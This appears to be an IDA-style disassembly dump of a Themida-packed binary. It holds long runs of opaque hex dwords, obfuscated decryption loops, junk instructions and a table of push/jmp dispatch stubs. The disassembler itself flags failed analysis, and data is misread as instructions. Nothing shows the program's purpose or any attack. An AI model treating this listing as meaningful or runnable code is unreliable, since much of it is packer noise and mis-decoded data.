508E3554h dd 0CD28B133h, 0BEE0923Ch, 2CA36388h, 0FFE99DB9h, 43A4CC01h dd 4430671Dh, 79A8FBE0h, 7918ABC0h, 0ED28DE5Dh, 0BD203D39h dd 0E0CBA536h, 942F197Ah, 8C1A8E8Ah, 4C1EBD5Ch, 0F71DFD5Dh dd 792D0967h, 0B874A962h, 0A1558A41h, 4E77B0FAh, 0B35271F5h dd 6C9F4417h, 4E4E05BDh, 6185E1B5h, 0E318CF8Ch, 0BD589567h dd 0C6A0A255h, 7F28B3C8h, 8A9304Ah, 0D5F4B2C7h, 60DBF532h dd 0DF20D1ADh, 639E4403h, 730E9886h, 83AE55DCh, 4E743A88h dd 0C77EDAB5h, 4D01E526h, 841E873h, 7843181Ch, 94E69ACFh dd 7403BF6Ah, 641CB54Eh, 0E7F9752Dh, 4E749E24h, 0DDFA76B5h dd 364h, 6D5FD800h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h dd 575A68CFh, 0C890000h, 50336824h, 4890000h, 0E0895024h dd 405h, 42D00h, 4870000h, 1C895C24h, 68535724h, 65A62078h dd 4EF3815Bh, 8963B101h, 0F8895BDFh, 5B27685Fh, 24890000h dd 24048324h, 0EC815B04h, 4, 8F240489h, 1C8B0843h, 0E1895124h dd 4C181h, 0C1830000h, 240C8704h, 24048B5Ch, 81E18951h dd 4C1h, 4C18300h, 5C240C87h, 0F959E7E9h db 0FFh, 0CDh, 0E7h ; --------------------------------------------------------------------------- loc_5BDAF3: ; CODE XREF: Themida_:005BD59Cj mov eax, 617260Ah add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 46F5928Ch, 27E684D9h, 375AE8Ah, 3A6CBB2Ch, 291BFAC7h dd 6924CDE3h, 4088F9FBh, 4445561Ch, 3CB50508h, 0DB992C3h dd 5F4D5BF9h, 48869F1Bh, 7A6BF15Bh, 2AA402Ah, 31DFCCBBh dd 4D8F56DCh, 350DCF82h, 3A1D0B74h, 2270F6E3h, 537AD4D6h dd 28DDB249h, 47846014h, 60EF6F9Ah, 5BB54483h, 724B987Ah dd 240D5334h, 0EB93560h, 4823144Dh, 27B88D8Dh, 6A0617h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0DF8F92C3h, 0D2694095h, 58D0FA0h, 66000000h, 834F081h dd 9F58D89h, 0B8660610h, 85C792B3h, 6102319h, 6B50h, 14E9h dd 0BF1DEA00h, 3941B6AFh, 0E4FEB4F7h, 73E80600h, 4C62301Eh dd 0C185C713h, 61022h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 885CC356h dd 9C7A1B52h, 53331288h, 595958Bh, 0B5FF0610h, 6100865h dd 68B0Fh, 9D890000h, 61029C9h, 2DB995FFh, 0DF8B0610h dd 95FF006Ah, 61031C9h, 59EBC08Bh, 506B3FD7h, 0EB5122E4h dd 0FB25ADE0h, 42DAACCEh, 6CEA4C2Bh, 13D580Fh, 0FCD4C8CDh dd 65255B9h, 266FF7AAh, 168C9E39h, 0A2095756h, 0ECE68593h dd 5A4E8E15h, 0E69E93CDh, 287372B7h, 0E9FD14Ch, 2673F002h dd 622A70E5h, 0E39E064Eh, 7F3979C0h, 289BD2B2h, 99A25F84h dd 0CE87Fh, 0D0D10000h, 3E10365Dh, 0CB45A9E2h, 8D8B7A5Bh dd 61021B5h, 0C681F55Eh, 703Ah, 58E0Fh, 81660000h, 684337E1h dd 0 ; --------------------------------------------------------------------------- jmp loc_5BDCC5 ; --------------------------------------------------------------------------- db 0B7h, 41h, 0A8h db 0CCh db 63h, 0B8h, 94h dd 428D9235h, 0ED918514h db 0E4h ; --------------------------------------------------------------------------- loc_5BDCC5: ; CODE XREF: Themida_:005BDCB0j pop edi sub [ebp+6101409h], edx loc_5BDCCC: ; CODE XREF: Themida_:005BDD48j push dword ptr [edi+esi] mov cx, dx pop eax add [ebp+61027A9h], esi add eax, 0B1745DDh mov ebx, [ebp+6101D7Dh] add eax, 7378A3Ah sub [ebp+6103101h], eax add eax, 597450F7h mov [ebp+6101631h], eax mov [esi+edi], eax mov bh, dl mov [ebp+6100915h], esi sub edi, 14E76EBDh mov [ebp+6102161h], edx add edi, 14E76EB9h movzx edx, cx cmp edi, 0FFFF9098h jnz loc_5BDD45 push eax mov bx, ax pop edx jmp loc_5BDD5C ; --------------------------------------------------------------------------- db 0B9h dd 0C9122A4h, 9F163741h, 0A231677Dh, 92B3156Bh db 2Bh ; --------------------------------------------------------------------------- loc_5BDD45: ; CODE XREF: Themida_:005BDD23j push edi clc pop ebx jmp loc_5BDCCC ; --------------------------------------------------------------------------- db 51h, 13h, 0ECh dd 2E6A3F50h, 0B581B3F2h, 876E51CFh ; --------------------------------------------------------------------------- loc_5BDD5C: ; CODE XREF: Themida_:005BDD2Ej call near ptr loc_5BDD73+2 mov ebx, 0DE5E8023h loop loc_5BDD71 inc edi dec eax aas shl byte ptr [esi+7923C2D4h], cl loc_5BDD71: ; CODE XREF: Themida_:005BDD66j mov cl, ah loc_5BDD73: ; CODE XREF: Themida_:loc_5BDD5Cp lds esp, [edx-75h] ; --------------------------------------------------------------------------- dw 0FD8Dh ; --------------------------------------------------------------------------- daa adc [esi], al pop edx mov ecx, [ebp+6101699h] add edx, 6E1Eh movzx eax, si push 0 mov [ebp+6102DB1h], esi pop esi clc loc_5BDD98: ; CODE XREF: Themida_:005BDE03j mov edi, [edx+esi] pusha adc edx, 3785E78h sbb ax, 7C2Dh popa sub edi, 2CB85AF3h jmp loc_5BDDBB ; --------------------------------------------------------------------------- db 0BDh dd 33562A1Ch db 57h, 7Ch, 0E3h ; --------------------------------------------------------------------------- loc_5BDDBB: ; CODE XREF: Themida_:005BDDAEj add edi, 1F36654h mov eax, [ebp+6101CA5h] add edi, 63465AEFh mov [ebp+6101AD5h], eax mov [edx+esi], edi or [ebp+61023C5h], esi jmp loc_5BDDF4 ; --------------------------------------------------------------------------- db 75h, 2Dh, 76h dd 0BBB57C8h, 496E3B0Bh, 0A632219Ch, 58525FB4h ; --------------------------------------------------------------------------- loc_5BDDF4: ; CODE XREF: Themida_:005BDDDCj sub esi, 4 sub ecx, 2C702A2Ah cmp esi, 0FFFF928Ch jnz loc_5BDD98 xor [ebp+610200Dh], ecx lea ecx, [ebp+6172ABDh] call sub_5BDE29 xor al, [ecx+482D9F06h] in eax, 62h ; PC/XT PPI port C. Bits: ; 0-3: values of DIP switches ; 5: 1=Timer 2 channel out ; 6: 1=I/O channel check ; 7: 1=RAM parity check error occurred. out dx, eax mov [edi-44h], cl add eax, [edi-6Eh] ; =============== S U B R O U T I N E ======================================= sub_5BDE29 proc near ; CODE XREF: Themida_:005BDE15p adc eax, 2F67AEF4h pop edx mov [ebp+61009F5h], ecx mov ax, di mov dword ptr [ebp+6102319h], 5874h push 0 push esi call sub_5BDE4E and [esi-3Dh], bl sub_5BDE29 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5BDE4E proc near ; CODE XREF: sub_5BDE29+1Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5BDE4E endp ; --------------------------------------------------------------------------- dw 0A162h dd 6287048Ah, 234E89C9h, 1CC1958Bh, 810F0610h, 18h, 0CE8h dd 0FC396400h, 0A92AB12Ch, 995E555Dh, 0D1CF8183h, 5A17A833h dd 22C185C7h, 610h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 958B84C3h, 6100D61h dd 1211B5FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8A5958C3h, 0BD8B50F8h, 6100BADh dd 0B995FF5Bh, 6A06102Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 6F24C355h, 6F8FA2EDh dd 4DF3BF66h, 5860Fh, 81660000h, 3ED19DFh, 100C9185h, 0FF006A06h dd 1031C995h, 0EBC08B06h, 31F98919h, 0EE825E1Ch, 0E7294760h dd 375BE66Ah, 5ED52280h, 0CBA2D119h, 8D8DB0AEh, 6172B90h dd 2D219D29h, 8D890610h, 61009F5h, 1952BE66h, 1A6D858Bh dd 85C70610h, 6102319h, 6518h, 12E977B3h, 0D4000000h, 0DF4618F3h dd 0CA480CC2h, 2865B9ECh, 0AB744A3Eh, 0C185C75Ch, 61022h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 7B6BC351h, 0FFF8BB16h, 1030C5B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 0CA63A22h, 1252496Ch, 0D78B1CA5h, 95FFC68Bh dd 6102DB9h, 0BE9h, 0AA581600h, 62AC76E9h, 7C71E170h, 95FF006Ah dd 61031C9h, 3CEBC08Bh, 0AB6F729Bh, 51AB9749h, 2F2DA4B2h dd 8B68E787h, 0B440D97h, 0FCCECB02h, 5DF507FBh, 0DBD52149h dd 21D88ACDh, 4D21D116h, 0F76C3237h, 0A7DEDD11h, 17879F20h dd 0CE775A18h, 0DC1C0FF0h, 2CF38D8Dh, 6A0617h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 897A1EC3h, 1009F58Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 88A98F8Ch, 231985C7h dd 607C0610h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0C6E3A4C3h, 1307F957h, 8B66B74Ah dd 16860FFAh, 0E9000000h, 11h, 22D68A0Bh, 0D4D5A0DBh, 0F5ABDB4Bh dd 0CC493E19h, 0C185C7D2h, 61022h, 0E9000000h, 0Ch, 5444715h dd 9B21D710h, 98490251h, 30C5B5FFh, 6A0610h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 161E21C3h dd 0EFBE86A0h, 9D29CB54h, 6100BDDh, 0AE9h, 0FE8D1600h dd 37B9FE83h, 0FFAD377Eh, 102DB995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0D4B708D0h dd 9D95896Dh, 6A06101Ah, 0C995FF00h, 8B061031h, 0CA3CEBC0h dd 69383034h, 12EB5B3Ah, 0A86E4E4h, 0D66C83B4h, 0A18BC2ACh dd 0F0EF1AD1h, 0A7D421E6h, 0C25AD506h, 8DE84F9h, 68C1E445h dd 5BEC4CD5h, 0F73ADDD5h, 1FF1E07Fh, 0ED5FB511h, 0E8B4BCD2h dd 9, 0D7E55712h, 334BEC5Ch, 68F0FBAh, 31000000h, 1004798Dh dd 8E85F06h, 18000000h, 3F9EEA16h, 53D9AAA8h, 58C78B66h dd 13C78158h, 0E8000066h, 0Fh, 8AD3014Bh, 346D98EEh, 0B7243DCDh dd 0E982D050h, 12h, 9A4179F8h, 0CBAA622Eh, 0DE8CC636h dd 0B718EAC0h, 0BA586BE4h, 62D6602Bh, 7979F281h, 0D88162D6h dd 71BBAF5Fh, 81F5378Bh, 0F0B256C6h, 8102B001h, 0EF5B20EEh dd 0D99D895Ah, 81061001h, 142DB4F6h, 59858933h, 56061007h dd 6CC98166h, 8B078F2Ch, 10132185h, 2EF8306h, 14E9h, 0ACE14500h dd 73291B37h, 0B02FC089h, 1660179Fh, 0C7A05DC2h, 664F4FD7h dd 89EECB81h, 0F01EA83h, 0FFFFA385h, 8D9D8BFFh, 8D061022h dd 172EF88Dh, 5E906h, 0FE870000h, 89A502D5h, 1009F58Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 791F8988h, 0AAFE82CEh, 231985C7h, 65700610h dd 858B0000h, 6100A09h, 4C77BE66h, 22C185C7h, 610h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 937CE7C3h, 9C6A85BFh, 0AE998h, 40940000h, 69A561BEh dd 0F07C560Dh, 865B5FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0D30C1BC3h, 29A99D8Bh dd 95FF0610h, 6102DB9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 73C35646h, 0C58AB8C9h, 98E0F50h, 60000000h dd 0D8D68166h, 615CB064h, 95FF006Ah, 61031C9h, 59EBC08Bh dd 5BD27244h, 5C56AD43h, 59830FBDh, 56C58865h, 9CA44304h dd 615CFA72h, 8B43F9DBh, 0C1670DE0h, 0E643689h, 0C6DAB8F9h dd 0EA09AF38h, 73D17887h, 0D38AF631h, 779B0FC5h, 6C0FC0A9h dd 0B60ECBC2h, 0FC63F092h, 23205BEh, 38684EACh, 4C429571h dd 735510F3h, 0E1F08075h, 8E8F1h, 0D0B30000h, 669B002Fh dd 89583E64h, 102025B5h, 7AC08106h, 3100006Dh, 1008AD9Dh dd 0B906h, 0B50B0000h, 6100D55h, 5A0134FFh, 29419D89h dd 0C2810610h, 1455BF08h, 6E9h, 94BBA200h, 81C68C6Eh, 8D80D1F2h dd 8F0F45h, 81000000h, 9EAFA3EAh, 0D4D78035h, 81081489h dd 0CC95A2EFh, 0AFFABE67h, 0E9815C0Ch, 7971B429h, 48E0Fh dd 0BF660000h, 0C181AB23h, 7971B425h, 81FE8B66h, 0FF931CF9h dd 9D850FFFh, 0E9FFFFFFh, 0Ch, 6C7DC276h, 43AA2A48h, 21AB4772h dd 23E585C6h, 68560610h, 0A9C530DFh, 1D45B5FFh, 858D0610h dd 613858Ah, 8D8DD0FFh, 61015A5h, 0FF406A51h, 1006C9B5h dd 1DB5FF06h, 0FF061009h, 0C9B5FFD0h, 0FF061006h, 10091DB5h dd 9E806h, 0F0CA0000h, 8ECD974Bh, 5ECFC336h, 4EE835Eh dd 2242CC1h, 22424C1h, 0F7243403h, 0C033241Ch, 5A3034FFh dd 63C0F281h, 0C2814253h, 7524433Ah, 0DB7CF281h, 1489125Dh dd 1E88306h, 3B484848h, 850F2404h, 0FFFFFFD8h, 0F519D8Dh dd 38B0610h, 840FC00Bh, 7, 5B8B038Bh, 8B188904h, 0E6E9C9h dd 94EF0000h, 9CD70681h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 5Eh, 0Bh dup(0) ; --------------------------------------------------------------------------- jmp loc_5BFAD3 ; --------------------------------------------------------------------------- push 6173373h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61734A4h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 617359Eh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61736CBh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 617375Dh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 617382Ch jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61738E2h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6173970h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6173A4Ah jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6173BB4h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6173CC2h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6173E2Ah jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6173F06h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6174065h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6174185h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6174341h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6174417h jmp loc_5534D8 ; --------------------------------------------------------------------------- add dl, [eax+0Dh] push ecx retf 0EB22h ; --------------------------------------------------------------------------- dw 0E86Fh dd 0C5540841h, 0F269E522h, 5D4BFF3Eh, 0D211B321h, 0ED2EDF56h dd 944EA71h, 0E81DC655h, 84877974h, 6BDB4E3Eh, 3253D9D6h dd 0AF2A4479h, 0DEA0BDFEh, 0DB1CCD8Ch, 598E35FEh, 627980E5h dd 11B8A188h, 0D24E67FCh, 96CF771Eh, 952E9423h, 3FB2FBFEh dd 4092397Bh, 0F8000000h, 0DF83BD5Ch, 8B7EF0A4h, 6DCC7C37h dd 536F53CFh, 0F0F75479h, 0AA951F64h, 59DDC904h, 9178607Dh dd 67FCD1A0h, 95D27544h, 0BA66C2B8h, 3CD053EBh, 6201B294h dd 7A8A4687h, 0DD2639h, 32640000h, 39504479h, 1BA76297h dd 0FB6DCC7Ch, 0C5A1E084h, 590CCFA1h, 0B591C67Dh, 968865C1h dd 5F1348FFh, 8A38F30Dh, 6A923383h, 0A962D9EEh, 8B11B874h dd 749233FEh, 0CB488DCBh, 966CCE13h, 0D077FEBAh, 0FB1AE79Bh dd 61B0EE0h, 7E980382h, 0D8D30ABBh, 9423066Ah, 0BEB28E8Ah dd 31E526C7h, 463C1135h, 0A64910EAh, 75CA9469h, 0A8637D5Eh dd 9E15CE0Bh, 83BA72E9h, 1752F88Fh, 5C1E3Bh, 0A91910EEh dd 4D9E10BDh, 55E4FCD1h, 41B874B3h, 0D611B58Fh, 0BCF7AB2Ah dd 0F90FBC98h, 37403569h, 124B765Fh, 0FBF0000h, 0E38910CCh dd 4A930ACh, 0E3880FCBh, 1A332A6h, 0E42006C2h, 1793D276h dd 30ACEDA0h, 0ECA05A9h, 2FABE087h, 0F949403Ch, 1D6BDB4Fh dd 7E32F4C0h, 530C8B3Fh, 5C1CAA1Eh, 324C1EBDh, 0DBC704A7h dd 0D6CA07BCh, 0AA61765Ah, 67FC7C89h, 0FD3CF06Bh, 4A502D09h dd 7BB8D33h, 0D8CCA8CCh, 617B6566h, 0F0836CE4h, 9A9630DBh dd 3E759423h, 4F6F42A7h, 0E4F397Bh, 0BD000001h, 4A97932h dd 775BD7CBh, 0F62FD665h, 0A5518A3Fh, 0DBFAACC1h, 6F36EA29h dd 6DCC01E9h, 0E8649952h, 62A14316h, 1E95B2AEh, 6F443065h dd 0B2597368h, 9803F1B1h, 0BC04A833h, 16E8F96Bh, 596E521Ch dd 0CDB3CDA9h, 233964DEh, 0FBAE8094h, 94233947h, 0CA9FC39Fh dd 0FDAF2A14h, 37F61CB5h, 294D990Fh, 0BA08037Dh, 5A9423CEh dd 86F5E2FEh, 1E70D1B2h, 676E0FECh, 0D6FA35D9h, 598E3504h dd 0CCB4C9ADh, 15C765DDh, 0FCAF819Eh, 9E10BD46h, 0CC9EC29Eh dd 65DDCCB2h, 819E10BDh, 590BC8A5h, 6B1E401Ah, 9E10BDD7h dd 0A016332Fh, 93387719h, 4035694Bh, 1AE8F1A5h, 8E000011h dd 962599DCh, 7403B7EEh, 0A11894CDh, 7EFDB1EEh, 0D9CF8BCAh dd 4E8D3FADh, 69AA5BDAh, 85C066F5h, 649952C9h, 10FB05E8h dd 6BDB48B2h, 0D7CF5552h, 74206104h, 0AC60DBF0h, 0C16AF16Dh dd 0A28EB583h, 330F4255h, 0CF744719h, 9382DE92h, 6DCCB12Fh dd 0C88E6BC7h, 0A9793242h, 57DBC708h, 5710877Bh, 7CC57D2Ch dd 45216DCCh, 772EAD21h, 0F3D8523Eh, 0B3B4CDA7h, 1E570E6Bh dd 0F5D2EE72h, 0DC50853Eh, 952DDC02h, 716DCCD8h, 683ED8F5h dd 43E8585Fh, 1910EA06h, 67FC8488h, 0B5F6972Eh, 3C184DF6h dd 7114A779h, 0A1454430h, 1ACB8A66h, 34492DD9h, 0B2ADCE77h dd 6F6C8B8Ch, 4A55AE5Dh, 4C0F659Ah, 7A805D94h, 0F6FDF29Eh dd 38200BE5h, 0A69BADC4h, 0FF2D6D13h, 9FB458CAh, 721594B0h dd 6621835h, 89BE65F4h, 0B970EBD5h, 37F06B80h, 511F5502h dd 0A57145ABh, 102034h, 0AFF29400h, 8DC47CFBh, 6AA34AD1h dd 87C467EEh, 61A044D3h, 5183FFEDh, 6DEC609Fh, 38BF7BBCh dd 54E35792h, 0C7C276ABh, 498C36F5h, 8B686BDBh, 447932C1h dd 0BDFEAF2Ah, 211DEA0h, 62D907D9h, 0B2596EAFh, 67FC1EC1h dd 0BF569C5h, 0A95D9C50h, 0A16ED4D7h, 0AA869423h, 0D9B5A1C6h dd 0DE587EA6h, 7E5D7C09h, 905CBD6Ch, 932A9E13h, 0BE90B4EFh dd 5F44F48Dh, 7F5CBE0Ch, 746ED87Fh, 0F68D9E13h, 14527B5Fh dd 0B35F437Fh, 0DE2FE805h, 4E3F8C1Ah, 0F39FD48Bh, 37F65A6Fh dd 54000000h, 4C1EBD5Ch, 0FCCA645Dh, 8A9D8267h, 0F67DD525h dd 0B835A8D6h, 70D8F893h, 0BBF7A54h, 17AD5CD0h, 2894233Fh dd 78E4A7Fh, 6B7C2863h, 0F55h, 0E71EC695h, 0BD5C3A12h dd 0BF5D4C1Eh, 2567F72Dh, 98B5F096h, 635A7DE2h, 272CB05h dd 0A2F134Ah, 0CF171348h, 97698D1Fh, 72E61BC4h, 1B073CE3h dd 0B2CC0FA6h, 1F17ACF7h, 10EA469Eh, 0F16DA249h, 59984C0Fh dd 27B4C9ADh, 6A574B80h, 0CBBE904Bh, 942D0FFAh, 6FC32804h dd 0A15E28A8h, 0EF3E4F5h, 0C7670000h, 9B51C884h, 0BC71E864h dd 9B50C783h, 0B96BEA5Eh, 0BCC8BE7Ah, 0DF5B9A4Eh, 0B874B558h dd 0D6528D41h, 0B773A85Fh, 8141E8D4h, 656BDB4Ah, 4402BC88h dd 36DCC7Ch, 0EB15E7F4h, 7CAC1615h, 0CC816DCCh, 0A289DB93h dd 6DCC7C20h, 6F8C68C4h, 0F72CF1B4h, 0D3AD8967h, 502A5F08h dd 0F9ADE289h, 5FD6607Dh, 327F73A8h, 932638A3h, 0C098B5EEh dd 14D1A8C9h, 851F4C9Eh, 59B7DA2Bh, 1C51FAB1h, 2BEF0C68h dd 9AB6EB94h, 311AF32Dh, 80693D40h, 0E61h, 36F235D5h, 56D209BFh dd 3DF12ADFh, 10CC09BEh, 34A8E789h, 0F498CA36h, 0CF82F9B5h dd 0E79B1A8Eh, 2A930ACh, 221E11CDh, 0DB4BDB67h, 0D65E3B6Bh dd 0B08296D7h, 0C1D9ADD9h, 0CC9678CAh, 0A4C09C6Dh, 0F81263B7h dd 0C499B1CBh, 0CA8050F7h, 637FE38Fh, 3A6F18AFh, 233D3F46h dd 0CC86DA68h, 0BF24056Dh, 0CBDA9D2Fh, 2BE057D3h, 0AB4AD9EEh dd 6AF5834Eh, 9126333h, 5CA90000h, 324C1EBDh, 0CC7CCB77h dd 1A2F2B6Dh, 2C0F4346h, 6BC767F7h, 0E627CA91h, 0F949403Ah dd 1D9424ACh, 30482541h, 11CD02A9h, 0F8ACE18Ah, 24AC15B1h dd 16C55494h, 0EA9F1A44h, 0BA61C5B1h, 9424AC08h, 855B70ECh dd 14CEED86h, 20CDA99Eh, 40310536h, 925B4C58h, 600000Dh dd 2EAD2164h, 0C8B3F76h, 19A01C55h, 0F6853976h, 0B1971352h dd 46852755h, 21620392h, 3D782EADh, 1C51FA81h, 0D8D3ADA0h dd 6BDB446Ah, 32870D8Ah, 39504479h, 22A95D92h, 11C802A1h dd 0FF71255Ah, 0CC7CB60Ch, 0EED24E6Dh, 1D743AC9h, 3247A115h dd 6AFFA46Dh, 0A3451433h, 0BE04A15Bh, 431F713Dh, 52F6D34Fh dd 850h, 0DDE77F6Ch, 84AFE06Ch, 4402DD67h, 36DCC7Ch, 1615E7F4h dd 67F72D9Ch, 4435D516h, 7884E81Eh, 0A9C39F63h, 88447932h dd 71255A11h, 94667584h, 14C8FC95h, 83B59A9Eh, 6AA34AA5h dd 992FC77Dh, 293C10BDh, 22F24031h, 0CDCB1h, 5B9E5000h dd 79B058DFh, 568F36C5h, 73B053E2h, 4D8C40B7h, 0FD6F9B91h dd 0C9500C4Bh, 0E473E728h, 0D047033Eh, 8366E217h, 44309279h dd 0D7D46BDBh, 4E79324Dh, 0CC7CE75Bh, 3F23FF6Dh, 0BAFBAE2Dh dd 918D6AC6h, 681C51FAh, 26C36261h, 336B29CBh, 7AFABh dd 0BD5C2100h, 0F85D4C1Eh, 667F72Dh, 0E289502Ah, 1AA31ADh dd 3591D8CCh, 349424B3h, 652436A5h, 9E14D10Ch, 0DAD603E8h dd 0D2748E85h, 0C42905F5h, 40310586h, 4E0B9C88h, 0C200000Ch dd 8A11CD10h, 0A82FABE2h, 8514C801h, 0B229A5E2h, 1D0BBFFEh dd 92D173E1h, 0ADEE9F16h, 0C904AA31h, 0A8DD8615h, 44473934h dd 6BDB45FEh, 32139916h, 63143B79h, 3FC22943h, 0FBA7E288h dd 30A75B77h, 4D053977h, 0F8366856h, 0FEB128DCh, 0FB6D5C1h dd 0A34F843Bh, 9AEFA3BFh, 1ACB6A09h, 4A2EFDD9h, 0F5A1DA8Fh dd 28C75C71h, 6AC404CDh, 702E433h, 0D7260000h, 7C4002A9h dd 0C8A46DCCh, 7C4BF8B3h, 0D2896DCCh, 3135E11Ch, 1610490Ch dd 46232A41h, 0A1BB20B7h, 0F74F66EAh, 0A8C29E67h, 89457A31h dd 70245912h, 95677483h, 8E520C6h, 307039F0h, 65F49E15h dd 0B07287C0h, 3D148DBEh, 800DE03Fh, 15352999h, 0DA51CD9Eh dd 280CF835h, 0E1999F4Ch, 9F774030h, 0B7436h, 346E800h dd 0E118D047h, 0FE37EE6Dh, 0DB18CB4Ah, 0F534D85Fh, 0C5375339h dd 0F168E423h, 0CC4BFF40h, 0D85FDB16h, 4B3EFA2Fh, 4608BA71h dd 0EFEC6BDBh, 44793225h, 0A75BDE50h, 1BC48F6Ch, 0FB5D3AE6h dd 7C9C26E5h, 0FC786DCCh, 7CA53CDFh, 5F1A8EC3h, 336B358Eh dd 4C873BFEh, 173B92Fh, 0D7130000h, 70245D04h, 0A35CD7F4h dd 0C7858C65h, 1F43D125h, 76AB5473h, 0EA565DC2h, 161A0647h dd 0F899203Ah, 0CBBEA2B7h, 67FC5DEEh, 95CA8118h, 2896C5B1h dd 0CB943C4Ah, 11DC19B8h, 0F1397AF4h, 44h, 2A9D75Bh, 6DCC7C40h dd 52B3C8A4h, 434618C3h, 67FC7C6Eh, 91D8CCA8h, 943C7C35h dd 7D29640Ah, 826EA75Eh, 0F5C26110h, 5B0E7D45h, 40E90D54h dd 0C809EC83h, 38397A59h, 0E195CA81h, 0D7006885h, 4A000000h dd 265B04D7h, 0ACE18A51h, 0F02FE1F8h, 0A9DE8504h, 0DE5D83FDh dd 3B37EB2Ah, 0CC7CF64Ch, 35120E6Dh, 1C90C57Eh, 0AA6C0942h dd 0DF5681EFh, 56AB210Ah, 0CB746DCCh, 26382296h, 0CC2EDF63h dd 1E3B376Dh, 0C9A338BFh, 47BB0CA4h, 0F5D25992h, 2D1828E3h dd 7CF867FAh, 0A7627C62h, 94219B1Bh, 0C63A1FFBh, 1F7A95DAh dd 0AE62D9EEh, 0C9909266h, 71565B0Ah, 0A50C624Bh, 2397BB27h dd 0CB1F094h, 4A04DB12h, 0A9F081Ch, 7E00000Ah, 46D589CCh dd 64F3679Eh, 51C884BDh, 6EED619Eh, 0C9BF7BBAh, 5E9D4FBDh dd 79BA6BEAh, 559036C5h, 74A962D9h, 40EBD5B8h, 6BDB4782h dd 32BF8562h, 6BFF367Eh, 0DAEB8E58h, 0FFAE4F6h, 6DCC12B3h dd 49883C53h, 0E0FDD95Dh, 0F328DF56h, 7932B137h, 92395044h dd 0D568E15Dh, 88000004h, 0F5C66663h, 0BE0ED7Ch, 83BD5C41h dd 73EFA3E0h, 6A637D4Fh, 0F69C8EAh, 87845999h, 67FCEC56h dd 0D98074F0h, 943C9C6Dh, 24D00DC2h, 0DAC601A5h, 0D6CA09BBh dd 41E0BF5Ah, 23B68A7Bh, 9427447Fh, 55B5F8FDh, 2A95397Ah dd 0F7000002h, 0CC7C5F02h, 0F0EB0A6Dh, 2BDE00DEh, 6DCC7C97h dd 7CE45E4Dh, 24006DCCh, 59CBF06Ch, 68F206A3h, 2CAE5572h dd 0B667F7A9h, 0C56D9AB5h, 5E7B94E9h, 2BAEC09Ch, 0B18B3F74h dd 2E4B822Ah, 9C0FEA5h, 6EC44E4Eh, 0DFD4C0A4h, 72E903D8h dd 938F83BAh, 0A2E7A2B6h, 649E15BBh, 1CC16308h, 0D7CF4030h dd 8FCCEh, 7BBE7000h, 599038BFh, 76AF56E5h, 539033C2h dd 6DAC60D7h, 5D8FFBF1h, 69F06CABh, 44D387C8h, 70E7639Eh dd 0E3C682B7h, 409032D9h, 77746BDBh, 447932ADh, 5D923950h dd 30CFF4A9h, 49053AF1h, 43DE477h, 40371410h, 336B356Dh dd 1744Dh, 7932BF00h, 2A542A44h, 0CC7CC37Fh, 6047236Dh dd 6DCC7CE2h, 55512602h, 0E4588D36h, 8963787Fh, 0FC11B9A2h dd 25D14D67h, 2396C876h, 6BAC5D94h, 316820B7h, 8E25D645h dd 83225142h, 